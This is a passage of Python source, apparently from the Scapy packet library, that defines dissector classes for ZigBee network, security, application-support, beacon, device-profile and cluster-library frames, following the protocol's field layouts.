'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']),  # noqa: E501\n        XLEShortField(\"destination\", 0),\n        XLEShortField(\"source\", 0),\n        ByteField(\"radius\", 0),\n        ByteField(\"seqnum\", 1),\n\n        # ConditionalField(XLongField(\"ext_dst\", 0), lambda pkt:pkt.flags & 8),\n\n        ConditionalField(dot15d4AddressField(\"ext_dst\", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8),  # noqa: E501\n        ConditionalField(dot15d4AddressField(\"ext_src\", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16),  # noqa: E501\n\n        ConditionalField(ByteField(\"relay_count\", 1), lambda pkt:pkt.flags & 0x04),  # noqa: E501\n        ConditionalField(ByteField(\"relay_index\", 0), lambda pkt:pkt.flags & 0x04),  # noqa: E501\n        ConditionalField(FieldListField(\"relays\", [], XLEShortField(\"\", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04),  # noqa: E501\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            frametype = ord(_pkt[:1]) & 3\n            if frametype == 3:\n                return ZigbeeNWKStub\n        return cls\n\n    def guess_payload_class(self, payload):\n        if self.flags.security:\n            return ZigbeeSecurityHeader\n        elif self.frametype == 0:\n            return ZigbeeAppDataPayload\n        elif self.frametype == 1:\n            return ZigbeeNWKCommandPayload\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass LinkStatusEntry(Packet):\n    name = \"ZigBee Link Status Entry\"\n\n    fields_desc = [\n        # Neighbor network address (2 octets)\n        XLEShortField(\"neighbor_network_address\", 0x0000),\n        # Link status (1 octet)\n        BitField(\"reserved1\", 0, 1),\n        BitField(\"outgoing_cost\", 0, 3),\n        BitField(\"reserved2\", 0, 1),\n        BitField(\"incoming_cost\", 0, 3),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass ZigbeeNWKCommandPayload(Packet):\n    name = \"Zigbee Network Layer Command Payload\"\n    fields_desc = [\n        ByteEnumField(\"cmd_identifier\", 1, {\n            1: \"route request\",\n            2: \"route reply\",\n            3: \"network status\",\n            4: \"leave\",\n            5: \"route record\",\n            6: \"rejoin request\",\n            7: \"rejoin response\",\n            8: \"link status\",\n            9: \"network report\",\n            10: \"network update\",\n            11: \"end device timeout request\",\n            12: \"end device timeout response\"\n            # 0x0d - 0xff reserved\n        }),\n\n        # - Route Request Command - #\n        # Command options (1 octet)\n        ConditionalField(BitField(\"res1\", 0, 1),\n                         lambda pkt: pkt.cmd_identifier in [1, 2]),\n        ConditionalField(BitField(\"multicast\", 0, 1),\n                         lambda pkt: pkt.cmd_identifier in [1, 2]),\n        ConditionalField(BitField(\"dest_addr_bit\", 0, 1), lambda pkt: pkt.cmd_identifier == 1),  # noqa: E501\n        ConditionalField(\n            BitEnumField(\"many_to_one\", 0, 2, {\n                0: \"not_m2one\", 1: \"m2one_support_rrt\", 2: \"m2one_no_support_rrt\", 3: \"reserved\"}  # noqa: E501\n            ), lambda pkt: pkt.cmd_identifier == 1),\n        ConditionalField(BitField(\"res2\", 0, 3), lambda pkt: pkt.cmd_identifier == 1),  # noqa: E501\n\n        # - Route Reply Command - #\n        # Command options (1 octet)\n        ConditionalField(BitField(\"responder_addr_bit\", 0, 1), lambda pkt: pkt.cmd_identifier == 2),  # noqa: E501\n        ConditionalField(BitField(\"originator_addr_bit\", 0, 1), lambda pkt: pkt.cmd_identifier == 2),  # noqa: E501\n        ConditionalField(BitField(\"res3\", 0, 4), lambda pkt: pkt.cmd_identifier == 2),  # noqa: E501\n        # Route request identifier (1 octet)\n        ConditionalField(ByteField(\"route_request_identifier\", 0),\n                         lambda pkt: pkt.cmd_identifier in [1, 2]),  # noqa: E501\n        # Originator address (2 octets)\n        ConditionalField(XLEShortField(\"originator_address\", 0x0000), lambda pkt: pkt.cmd_identifier == 2),  # noqa: E501\n        # Responder address (2 octets)\n        ConditionalField(XLEShortField(\"responder_address\", 0x0000), lambda pkt: pkt.cmd_identifier == 2),  # noqa: E501\n\n        # - Network Status Command - #\n        # Status code (1 octet)\n        ConditionalField(ByteEnumField(\"status_code\", 0, {\n            0x00: \"No route available\",\n            0x01: \"Tree link failure\",\n            0x02: \"Non-tree link failure\",\n            0x03: \"Low battery level\",\n            0x04: \"No routing capacity\",\n            0x05: \"No indirect capacity\",\n            0x06: \"Indirect transaction expiry\",\n            0x07: \"Target device unavailable\",\n            0x08: \"Target address unallocated\",\n            0x09: \"Parent link failure\",\n            0x0a: \"Validate route\",\n            0x0b: \"Source route failure\",\n            0x0c: \"Many-to-one route failure\",\n            0x0d: \"Address conflict\",\n            0x0e: \"Verify addresses\",\n            0x0f: \"PAN identifier update\",\n            0x10: \"Network address update\",\n            0x11: \"Bad frame counter\",\n            0x12: \"Bad key sequence number\",\n            # 0x13 - 0xff Reserved\n        }), lambda pkt: pkt.cmd_identifier == 3),\n        # Destination address (2 octets)\n        ConditionalField(XLEShortField(\"destination_address\", 0x0000),\n                         lambda pkt: pkt.cmd_identifier in [1, 3]),\n        # Path cost (1 octet)\n        ConditionalField(ByteField(\"path_cost\", 0),\n                         lambda pkt: pkt.cmd_identifier in [1, 2]),  # noqa: E501\n        # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1  # noqa: E501\n        ConditionalField(dot15d4AddressField(\"ext_dst\", 0, adjust=lambda pkt, x: 8),  # noqa: E501\n                         lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)),  # noqa: E501\n        # Originator IEEE address (0/8 octets)\n        ConditionalField(dot15d4AddressField(\"originator_addr\", 0, adjust=lambda pkt, x: 8),  # noqa: E501\n                         lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)),  # noqa: E501\n        # Responder IEEE address (0/8 octets)\n        ConditionalField(dot15d4AddressField(\"responder_addr\", 0, adjust=lambda pkt, x: 8),  # noqa: E501\n                         lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)),  # noqa: E501\n\n        # - Leave Command - #\n        # Command options (1 octet)\n        # Bit 7: Remove children\n        ConditionalField(BitField(\"remove_children\", 0, 1), lambda pkt: pkt.cmd_identifier == 4),  # noqa: E501\n        # Bit 6: Request\n        ConditionalField(BitField(\"request\", 0, 1), lambda pkt: pkt.cmd_identifier == 4),  # noqa: E501\n        # Bit 5: Rejoin\n        ConditionalField(BitField(\"rejoin\", 0, 1), lambda pkt: pkt.cmd_identifier == 4),  # noqa: E501\n        # Bit 0 - 4: Reserved\n        ConditionalField(BitField(\"res4\", 0, 5), lambda pkt: pkt.cmd_identifier == 4),  # noqa: E501\n\n        # - Route Record Command - #\n        # Relay count (1 octet)\n        ConditionalField(ByteField(\"rr_relay_count\", 0), lambda pkt: pkt.cmd_identifier == 5),  # noqa: E501\n        # Relay list (variable in length)\n        ConditionalField(\n            FieldListField(\"rr_relay_list\", [], XLEShortField(\"\", 0x0000), count_from=lambda pkt:pkt.rr_relay_count),  # noqa: E501\n            lambda pkt:pkt.cmd_identifier == 5),\n\n        # - Rejoin Request Command - #\n        # Capability Information (1 octet)\n        ConditionalField(BitField(\"allocate_address\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Allocate Address  # noqa: E501\n        ConditionalField(BitField(\"security_capability\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Security Capability  # noqa: E501\n        ConditionalField(BitField(\"reserved2\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # bit 5 is reserved  # noqa: E501\n        ConditionalField(BitField(\"reserved1\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # bit 4 is reserved  # noqa: E501\n        ConditionalField(BitField(\"receiver_on_when_idle\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Receiver On When Idle  # noqa: E501\n        ConditionalField(BitField(\"power_source\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Power Source  # noqa: E501\n        ConditionalField(BitField(\"device_type\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Device Type  # noqa: E501\n        ConditionalField(BitField(\"alternate_pan_coordinator\", 0, 1), lambda pkt:pkt.cmd_identifier == 6),  # Alternate PAN Coordinator  # noqa: E501\n\n        # - Rejoin Response Command - #\n        # Network address (2 octets)\n        ConditionalField(XLEShortField(\"network_address\", 0xFFFF), lambda pkt:pkt.cmd_identifier == 7),  # noqa: E501\n        # Rejoin status (1 octet)\n        ConditionalField(ByteField(\"rejoin_status\", 0), lambda pkt:pkt.cmd_identifier == 7),  # noqa: E501\n\n        # - Link Status Command - #\n        # Command options (1 octet)\n        ConditionalField(BitField(\"res5\", 0, 1), lambda pkt:pkt.cmd_identifier == 8),  # Reserved  # noqa: E501\n        ConditionalField(BitField(\"last_frame\", 0, 1), lambda pkt:pkt.cmd_identifier == 8),  # Last frame  # noqa: E501\n        ConditionalField(BitField(\"first_frame\", 0, 1), lambda pkt:pkt.cmd_identifier == 8),  # First frame  # noqa: E501\n        ConditionalField(BitField(\"entry_count\", 0, 5), lambda pkt:pkt.cmd_identifier == 8),  # Entry count  # noqa: E501\n        # Link status list (variable size)\n        ConditionalField(\n            PacketListField(\"link_status_list\", [], LinkStatusEntry, count_from=lambda pkt:pkt.entry_count),  # noqa: E501\n            lambda pkt:pkt.cmd_identifier == 8),\n\n        # - Network Report Command - #\n        # Command options (1 octet)\n        ConditionalField(\n            BitEnumField(\"report_command_identifier\", 0, 3, {0: \"PAN identifier conflict\"}),  # 0x01 - 0x07 Reserved  # noqa: E501\n            lambda pkt: pkt.cmd_identifier == 9),\n        ConditionalField(BitField(\"report_information_count\", 0, 5), lambda pkt: pkt.cmd_identifier == 9),  # noqa: E501\n\n        # - Network Update Command - #\n        # Command options (1 octet)\n        ConditionalField(\n            BitEnumField(\"update_command_identifier\", 0, 3, {0: \"PAN Identifier Update\"}),  # 0x01 - 0x07 Reserved  # noqa: E501\n            lambda pkt: pkt.cmd_identifier == 10),\n        ConditionalField(BitField(\"update_information_count\", 0, 5), lambda pkt: pkt.cmd_identifier == 10),  # noqa: E501\n        # EPID: Extended PAN ID (8 octets)\n        ConditionalField(\n            dot15d4AddressField(\"epid\", 0, adjust=lambda pkt, x: 8),\n            lambda pkt: pkt.cmd_identifier in [9, 10]\n        ),\n        # Report information (variable length)\n        # Only present if we have a PAN Identifier Conflict Report\n        ConditionalField(\n            FieldListField(\"PAN_ID_conflict_report\", [], XLEShortField(\"\", 0x0000),  # noqa: E501\n                           count_from=lambda pkt:pkt.report_information_count),\n            lambda pkt:(pkt.cmd_identifier == 9 and pkt.report_command_identifier == 0)  # noqa: E501\n        ),\n        # Update Id (1 octet)\n        ConditionalField(ByteField(\"update_id\", 0), lambda pkt: pkt.cmd_identifier == 10),  # noqa: E501\n        # Update Information (Variable)\n        # Only present if we have a PAN Identifier Update\n        # New PAN ID (2 octets)\n        ConditionalField(XLEShortField(\"new_PAN_ID\", 0x0000),\n                         lambda pkt: (pkt.cmd_identifier == 10 and pkt.update_command_identifier == 0)),  # noqa: E501\n\n        # - End Device Timeout Request Command - #\n        # Requested Timeout (1 octet)\n        ConditionalField(\n            ByteEnumField(\"req_timeout\", 3, {\n                0: \"10 seconds\",\n                1: \"2 minutes\",\n                2: \"4 minutes\",\n                3: \"8 minutes\",\n                4: \"16 minutes\",\n                5: \"32 minutes\",\n                6: \"64 minutes\",\n                7: \"128 minutes\",\n                8: \"256 minutes\",\n                9: \"512 minutes\",\n                10: \"1024 minutes\",\n                11: \"2048 minutes\",\n                12: \"4096 minutes\",\n                13: \"8192 minutes\",\n                14: \"16384 minutes\"\n            }),\n            lambda pkt: pkt.cmd_identifier == 11),\n        # End Device Configuration (1 octet)\n        ConditionalField(\n            ByteField(\"ed_conf\", 0),\n            lambda pkt: pkt.cmd_identifier == 11),\n\n        # - End Device Timeout Response Command - #\n        # Status (1 octet)\n        ConditionalField(\n            ByteEnumField(\"status\", 0, {\n                0: \"Success\",\n                1: \"Incorrect Value\"\n            }),\n            lambda pkt: pkt.cmd_identifier == 12),\n        # Parent Information (1 octet)\n        ConditionalField(\n            BitField(\"res6\", 0, 6),\n            lambda pkt: pkt.cmd_identifier == 12),\n        ConditionalField(\n            BitField(\"ed_timeout_req_keepalive\", 0, 1),\n            lambda pkt: pkt.cmd_identifier == 12),\n        ConditionalField(\n            BitField(\"mac_data_poll_keepalive\", 0, 1),\n            lambda pkt: pkt.cmd_identifier == 12)\n\n        # StrField(\"data\", \"\"),\n    ]\n\n\ndef util_mic_len(pkt):\n    ''' Calculate the length of the attribute value field '''\n    if (pkt.nwk_seclevel == 0):  # no encryption, no mic\n        return 0\n    elif (pkt.nwk_seclevel == 1):  # MIC-32\n        return 4\n    elif (pkt.nwk_seclevel == 2):  # MIC-64\n        return 8\n    elif (pkt.nwk_seclevel == 3):  # MIC-128\n        return 16\n    elif (pkt.nwk_seclevel == 4):  # ENC\n        return 0\n    elif (pkt.nwk_seclevel == 5):  # ENC-MIC-32\n        return 4\n    elif (pkt.nwk_seclevel == 6):  # ENC-MIC-64\n        return 8\n    elif (pkt.nwk_seclevel == 7):  # ENC-MIC-128\n        return 16\n    else:\n        return 0\n\n\nclass ZigbeeSecurityHeader(Packet):\n    name = \"Zigbee Security Header\"\n    fields_desc = [\n        # Security control (1 octet)\n        FlagsField(\"reserved1\", 0, 2, ['reserved1', 'reserved2']),\n        BitField(\"extended_nonce\", 1, 1),  # set to 1 if the sender address field is present (source)  # noqa: E501\n        # Key identifier\n        BitEnumField(\"key_type\", 1, 2, {\n            0: 'data_key',\n            1: 'network_key',\n            2: 'key_transport_key',\n            3: 'key_load_key'\n        }),\n        # Security level (3 bits)\n        BitEnumField(\"nwk_seclevel\", 0, 3, {\n            0: \"None\",\n            1: \"MIC-32\",\n            2: \"MIC-64\",\n            3: \"MIC-128\",\n            4: \"ENC\",\n            5: \"ENC-MIC-32\",\n            6: \"ENC-MIC-64\",\n            7: \"ENC-MIC-128\"\n        }),\n        # Frame counter (4 octets)\n        XLEIntField(\"fc\", 0),  # provide frame freshness and prevent duplicate frames  # noqa: E501\n        # Source address (0/8 octets)\n        ConditionalField(dot15d4AddressField(\"source\", 0, adjust=lambda pkt, x: 8), lambda pkt: pkt.extended_nonce),  # noqa: E501\n        # Key sequence number (0/1 octet): only present when key identifier is 1 (network key)  # noqa: E501\n        ConditionalField(ByteField(\"key_seqnum\", 0), lambda pkt: pkt.getfieldval(\"key_type\") == 1),  # noqa: E501\n        # Payload\n        # the length of the encrypted data is the payload length minus the MIC\n        StrField(\"data\", \"\"),  # noqa: E501\n        # Message Integrity Code (0/variable in size), length depends on nwk_seclevel  # noqa: E501\n        XStrField(\"mic\", \"\"),\n    ]\n\n    def post_dissect(self, s):\n        # Get the mic dissected correctly\n        mic_length = util_mic_len(self)\n        if mic_length > 0:  # Slice \"data\" into \"data + mic\"\n            _data, _mic = self.data[:-mic_length], self.data[-mic_length:]\n            self.data, self.mic = _data, _mic\n        return s\n\n\nclass ZigbeeAppDataPayload(Packet):\n    name = \"Zigbee Application Layer Data Payload (General APS Frame Format)\"\n    fields_desc = [\n        # Frame control (1 octet)\n        FlagsField(\"frame_control\", 2, 4,\n                   ['ack_format', 'security', 'ack_req', 'extended_hdr']),\n        BitEnumField(\"delivery_mode\", 0, 2,\n                     {0: 'unicast', 1: 'indirect',\n                      2: 'broadcast', 3: 'group_addressing'}),\n        BitEnumField(\"aps_frametype\", 0, 2,\n                     {0: 'data', 1: 'command', 2: 'ack'}),\n        # Destination endpoint (0/1 octet)\n        ConditionalField(\n            ByteField(\"dst_endpoint\", 10),\n            lambda pkt: ((pkt.aps_frametype == 0 and\n                          pkt.delivery_mode in [0, 2]) or\n                         (pkt.aps_frametype == 2 and not\n                          pkt.frame_control.ack_format))\n        ),\n        # Group address (0/2 octets)\n        ConditionalField(\n            XLEShortField(\"group_addr\", 0x0000),\n            lambda pkt: (pkt.aps_frametype == 0 and pkt.delivery_mode == 3)\n        ),\n        # Cluster identifier (0/2 octets)\n        ConditionalField(\n            # unsigned short (little-endian)\n            XLEShortField(\"cluster\", 0x0000),\n            lambda pkt: ((pkt.aps_frametype == 0) or\n                         (pkt.aps_frametype == 2 and not\n                          pkt.frame_control.ack_format))\n        ),\n        # Profile identifier (0/2 octets)\n        ConditionalField(\n            EnumField(\"profile\", 0, _aps_profile_identifiers, fmt=\"<H\"),\n            lambda pkt: ((pkt.aps_frametype == 0) or\n                         (pkt.aps_frametype == 2 and not\n                          pkt.frame_control.ack_format))\n        ),\n        # Source endpoint (0/1 octets)\n        ConditionalField(\n            ByteField(\"src_endpoint\", 10),\n            lambda pkt: ((pkt.aps_frametype == 0) or\n                         (pkt.aps_frametype == 2 and not\n                          pkt.frame_control.ack_format))\n        ),\n        # APS counter (1 octet)\n        ByteField(\"counter\", 0),\n        # Extended header (0/1/2 octets)\n        # cribbed from https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-zbee-aps.c  # noqa: E501\n        ConditionalField(\n            ByteEnumField(\n                \"fragmentation\", 0,\n                {0: \"none\", 1: \"first_block\", 2: \"middle_block\"}),\n            lambda pkt: (pkt.aps_frametype in [0, 2] and\n                         pkt.frame_control.extended_hdr)\n        ),\n        ConditionalField(\n            ByteField(\"block_number\", 0),\n            lambda pkt: (pkt.aps_frametype in [0, 2] and\n                         pkt.fragmentation in [1, 2])\n        ),\n        ConditionalField(\n            ByteField(\"ack_bitfield\", 0),\n            lambda pkt: (pkt.aps_frametype == 2 and\n                         pkt.fragmentation in [1, 2])\n        ),\n        # variable length frame payload:\n        # 3 frame types: data, APS command, and acknowledgement\n        # ConditionalField(StrField(\"data\", \"\"), lambda pkt:pkt.aps_frametype == 0),  # noqa: E501\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.frame_control & 0x02:  # we have a security header\n            return ZigbeeSecurityHeader\n        elif self.aps_frametype == 0:  # data\n            if self.profile == 0x0000:\n                return ZigbeeDeviceProfile\n            else:\n                return ZigbeeClusterLibrary\n        elif self.aps_frametype == 1:  # command\n            return ZigbeeAppCommandPayload\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\n_TransportKeyKeyTypes = {\n    0x00: \"Trust Center Master Key\",\n    0x01: \"Standard Network Key\",\n    0x02: \"Application Master Key\",\n    0x03: \"Application Link Key\",\n    0x04: \"Trust Center Link Key\",\n    0x05: \"High-Security Network Key\",\n}\n\n\n_RequestKeyKeyTypes = {\n    0x02: \"Application Link Key\",\n    0x04: \"Trust Center Link Key\",\n}\n\n\n_ApsStatusValues = {\n    0x00: \"SUCCESS\",\n    0xa0: \"ASDU_TOO_LONG\",\n    0xa1: \"DEFRAG_DEFERRED\",\n    0xa2: \"DEFRAG_UNSUPPORTED\",\n    0xa3: \"ILLEGAL_REQUEST\",\n    0xa4: \"INVALID_BINDING\",\n    0xa5: \"INVALID_GROUP\",\n    0xa6: \"INVALID_PARAMETER\",\n    0xa7: \"NO_ACK\",\n    0xa8: \"NO_BOUND_DEVICE\",\n    0xa9: \"NO_SHORT_ADDRESS\",\n    0xaa: \"NOT_SUPPORTED\",\n    0xab: \"SECURED_LINK_KEY\",\n    0xac: \"SECURED_NWK_KEY\",\n    0xad: \"SECURITY_FAIL\",\n    0xae: \"TABLE_FULL\",\n    0xaf: \"UNSECURED\",\n    0xb0: \"UNSUPPORTED_ATTRIBUTE\"\n}\n\n\nclass ZigbeeAppCommandPayload(Packet):\n    name = \"Zigbee Application Layer Command Payload\"\n    fields_desc = [\n        ByteEnumField(\"cmd_identifier\", 1, {\n            1: \"APS_CMD_SKKE_1\",\n            2: \"APS_CMD_SKKE_2\",\n            3: \"APS_CMD_SKKE_3\",\n            4: \"APS_CMD_SKKE_4\",\n            5: \"APS_CMD_TRANSPORT_KEY\",\n            6: \"APS_CMD_UPDATE_DEVICE\",\n            7: \"APS_CMD_REMOVE_DEVICE\",\n            8: \"APS_CMD_REQUEST_KEY\",\n            9: \"APS_CMD_SWITCH_KEY\",\n            # TODO: implement 10 to 13\n            10: \"APS_CMD_EA_INIT_CHLNG\",\n            11: \"APS_CMD_EA_RSP_CHLNG\",\n            12: \"APS_CMD_EA_INIT_MAC_DATA\",\n            13: \"APS_CMD_EA_RSP_MAC_DATA\",\n            14: \"APS_CMD_TUNNEL\",\n            15: \"APS_CMD_VERIFY_KEY\",\n            16: \"APS_CMD_CONFIRM_KEY\"\n        }),\n        # SKKE Commands\n        ConditionalField(dot15d4AddressField(\"initiator\", 0,\n                                             adjust=lambda pkt, x: 8),\n                         lambda pkt: pkt.cmd_identifier in [1, 2, 3, 4]),\n        ConditionalField(dot15d4AddressField(\"responder\", 0,\n                                             adjust=lambda pkt, x: 8),\n                         lambda pkt: pkt.cmd_identifier in [1, 2, 3, 4]),\n        ConditionalField(StrFixedLenField(\"data\", 0, length=16),\n                         lambda pkt: pkt.cmd_identifier in [1, 2, 3, 4]),\n        # Confirm-key command\n        ConditionalField(\n            ByteEnumField(\"status\", 0, _ApsStatusValues),\n            lambda pkt: pkt.cmd_identifier == 16),\n        # Common fields\n        ConditionalField(\n            ByteEnumField(\"key_type\", 0, _TransportKeyKeyTypes),\n            lambda pkt: pkt.cmd_identifier in [5, 8, 15, 16]),\n        ConditionalField(dot15d4AddressField(\"address\", 0,\n                                             adjust=lambda pkt, x: 8),\n                         lambda pkt: pkt.cmd_identifier in [6, 7, 15, 16]),\n        # Transport-key Command\n        ConditionalField(\n            StrFixedLenField(\"key\", None, 16),\n            lambda pkt: pkt.cmd_identifier == 5),\n        ConditionalField(\n            ByteField(\"key_seqnum\", 0),\n            lambda pkt: (pkt.cmd_identifier == 5 and\n                         pkt.key_type in [0x01, 0x05])),\n        ConditionalField(\n            dot15d4AddressField(\"dest_addr\", 0, adjust=lambda pkt, x: 8),\n            lambda pkt: ((pkt.cmd_identifier == 5 and\n                         pkt.key_type not in [0x02, 0x03]) or\n                         pkt.cmd_identifier == 14)),\n        ConditionalField(\n            dot15d4AddressField(\"src_addr\", 0, adjust=lambda pkt, x: 8),\n            lambda pkt: (pkt.cmd_identifier == 5 and\n                         pkt.key_type not in [0x02, 0x03])),\n        ConditionalField(\n            dot15d4AddressField(\"partner_addr\", 0, adjust=lambda pkt, x: 8),\n            lambda pkt: ((pkt.cmd_identifier == 5 and\n                         pkt.key_type in [0x02, 0x03]) or\n                         (pkt.cmd_identifier == 8 and pkt.key_type == 0x02))),\n        ConditionalField(\n            ByteField(\"initiator_flag\", 0),\n            lambda pkt: (pkt.cmd_identifier == 5 and\n                         pkt.key_type in [0x02, 0x03])),\n        # Update-Device Command\n        ConditionalField(XLEShortField(\"short_address\", 0),\n                         lambda pkt: pkt.cmd_identifier == 6),\n        ConditionalField(ByteField(\"update_status\", 0),\n                         lambda pkt: pkt.cmd_identifier == 6),\n        # Switch-Key Command\n        ConditionalField(StrFixedLenField(\"seqnum\", None, 8),\n                         lambda pkt: pkt.cmd_identifier == 9),\n        # Un-implemented: 10-13 (+?)\n        ConditionalField(StrField(\"unimplemented\", \"\"),\n                         lambda pkt: (pkt.cmd_identifier >= 10 and\n                                      pkt.cmd_identifier <= 13)),\n        # Tunnel Command\n        ConditionalField(\n            FlagsField(\"frame_control\", 2, 4, [\n                \"ack_format\",\n                \"security\",\n                \"ack_req\",\n                \"extended_hdr\"\n            ]),\n            lambda pkt: pkt.cmd_identifier == 14),\n        ConditionalField(\n            BitEnumField(\"delivery_mode\", 0, 2, {\n                0: \"unicast\",\n                1: \"indirect\",\n                2: \"broadcast\",\n                3: \"group_addressing\"\n            }),\n            lambda pkt: pkt.cmd_identifier == 14),\n        ConditionalField(\n            BitEnumField(\"aps_frametype\", 1, 2, {\n                0: \"data\",\n                1: \"command\",\n                2: \"ack\"\n            }),\n            lambda pkt: pkt.cmd_identifier == 14),\n        ConditionalField(\n            ByteField(\"counter\", 0),\n            lambda pkt: pkt.cmd_identifier == 14),\n        # Verify-Key Command\n        ConditionalField(\n            StrFixedLenField(\"key_hash\", None, 16),\n            lambda pkt: pkt.cmd_identifier == 15),\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.cmd_identifier == 14:\n            # Tunneled APS Auxiliary Header\n            return ZigbeeSecurityHeader\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ZigBeeBeacon(Packet):\n    name = \"ZigBee Beacon Payload\"\n    fields_desc = [\n        # Protocol ID (1 octet)\n        ByteField(\"proto_id\", 0),\n        # nwkcProtocolVersion (4 bits)\n        BitField(\"nwkc_protocol_version\", 0, 4),\n        # Stack profile (4 bits)\n        BitField(\"stack_profile\", 0, 4),\n        # End device capacity (1 bit)\n        BitField(\"end_device_capacity\", 0, 1),\n        # Device depth (4 bits)\n        BitField(\"device_depth\", 0, 4),\n        # Router capacity (1 bit)\n        BitField(\"router_capacity\", 0, 1),\n        # Reserved (2 bits)\n        BitField(\"reserved\", 0, 2),\n        # Extended PAN ID (8 octets)\n        dot15d4AddressField(\"extended_pan_id\", 0, adjust=lambda pkt, x: 8),\n        # Tx offset (3 bytes)\n        # In ZigBee 2006 the Tx-Offset is optional, while in the 2007 and later versions, the Tx-Offset is a required value.  # noqa: E501\n        BitField(\"tx_offset\", 0, 24),\n        # Update ID (1 octet)\n        ByteField(\"update_id\", 0),\n    ]\n\n\n# Inter-PAN Transmission #\nclass ZigbeeNWKStub(Packet):\n    name = \"Zigbee Network Layer for Inter-PAN Transmission\"\n    fields_desc = [\n        # NWK frame control\n        BitField(\"res1\", 0, 2),  # remaining subfields shall have a value of 0  # noqa: E501\n        BitField(\"proto_version\", 2, 4),\n        BitField(\"frametype\", 0b11, 2),  # 0b11 (3) is a reserved frame type\n        BitField(\"res2\", 0, 8),  # remaining subfields shall have a value of 0  # noqa: E501\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.frametype == 0b11:\n            return ZigbeeAppDataPayloadStub\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass ZigbeeAppDataPayloadStub(Packet):\n    name = \"Zigbee Application Layer Data Payload for Inter-PAN Transmission\"\n    fields_desc = [\n        FlagsField(\"frame_control\", 0, 4, ['reserved1', 'security', 'ack_req', 'extended_hdr']),  # noqa: E501\n        BitEnumField(\"delivery_mode\", 0, 2, {0: 'unicast', 2: 'broadcast', 3: 'group'}),  # noqa: E501\n        BitField(\"frametype\", 3, 2),  # value 0b11 (3) is a reserved frame type\n        # Group Address present only when delivery mode field has a value of 0b11 (group delivery mode)  # noqa: E501\n        ConditionalField(\n            XLEShortField(\"group_addr\", 0x0),  # 16-bit identifier of the group\n            lambda pkt: pkt.getfieldval(\"delivery_mode\") == 0b11\n        ),\n        # Cluster identifier\n        XLEShortField(\"cluster\", 0x0000),\n        # Profile identifier\n        EnumField(\"profile\", 0, _aps_profile_identifiers, fmt=\"<H\"),\n        # ZigBee Payload\n        ConditionalField(\n            StrField(\"data\", \"\"),\n            lambda pkt: pkt.frametype == 3\n        ),\n    ]\n\n\n# Zigbee Device Profile #\n\n\nclass ZDPActiveEPReq(Packet):\n    name = \"ZDP Transaction Data: Active_EP_req\"\n    fields_desc = [\n        # NWK Address (2 octets)\n        XLEShortField(\"nwk_addr\", 0),\n    ]\n\n\nclass ZDPDeviceAnnce(Packet):\n    name = \"ZDP Transaction Data: Device_annce\"\n    fields_desc = [\n        # NWK Address (2 octets)\n        XLEShortField(\"nwk_addr\", 0),\n        # IEEE Address (8 octets)\n        dot15d4AddressField(\"ieee_addr\", 0, adjust=lambda pkt, x: 8),\n        # Capability Information (1 octet)\n        BitField(\"allocate_address\", 0, 1),\n        BitField(\"security_capability\", 0, 1),\n        BitField(\"reserved2\", 0, 1),\n        BitField(\"reserved1\", 0, 1),\n        BitField(\"receiver_on_when_idle\", 0, 1),\n        BitField(\"power_source\", 0, 1),\n        BitField(\"device_type\", 0, 1),\n        BitField(\"alternate_pan_coordinator\", 0, 1),\n    ]\n\n\nclass ZigbeeDeviceProfile(Packet):\n    name = \"Zigbee Device Profile (ZDP) Frame\"\n    fields_desc = [\n        # Transaction Sequence Number (1 octet)\n        ByteField(\"trans_seqnum\", 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        if self.underlayer.cluster == 0x0005:\n            return ZDPActiveEPReq\n        elif self.underlayer.cluster == 0x0013:\n            return ZDPDeviceAnnce\n        return Packet.guess_payload_class(self, payload)\n\n\n# ZigBee Cluster Library #\n\n\n_ZCL_attr_length = {\n    0x00: 0,  # no data\n    0x08: 1,  # 8-bit data\n    0x09: 2,  # 16-bit data\n    0x0a: 3,  # 24-bit data\n    0x0b: 4,  # 32-bit data\n    0x0c: 5,  # 40-bit data\n    0x0d: 6,  # 48-bit data\n    0x0e: 7,  # 56-bit data\n    0x0f: 8,  # 64-bit data\n    0x10: 1,  # boolean\n    0x18: 1,  # 8-bit bitmap\n    0x19: 2,  # 16-bit bitmap\n    0x1a: 3,  # 24-bit bitmap\n    0x1b: 4,  # 32-bit bitmap\n    0x1c: 5,  # 40-bit bitmap\n    0x1d: 6,  # 48-bit bitmap\n    0x1e: 7,  # 46-bit bitmap\n    0x1f: 8,  # 64-bit bitmap\n    0x20: 1,  # Unsigned 8-bit integer\n    0x21: 2,  # Unsigned 16-bit integer\n    0x22: 3,  # Unsigned 24-bit integer\n    0x23: 4,  # Unsigned 32-bit integer\n    0x24: 5,  # Unsigned 40-bit integer\n    0x25: 6,  # Unsigned 48-bit integer\n    0x26: 7,  # Unsigned 56-bit integer\n    0x27: 8,  # Unsigned 64-bit integer\n    0x28: 1,  # Signed 8-bit integer\n    0x29: 2,  # Signed 16-bit integer\n    0x2a: 3,  # Signed 24-bit integer\n    0x2b: 4,  # Signed 32-bit integer\n  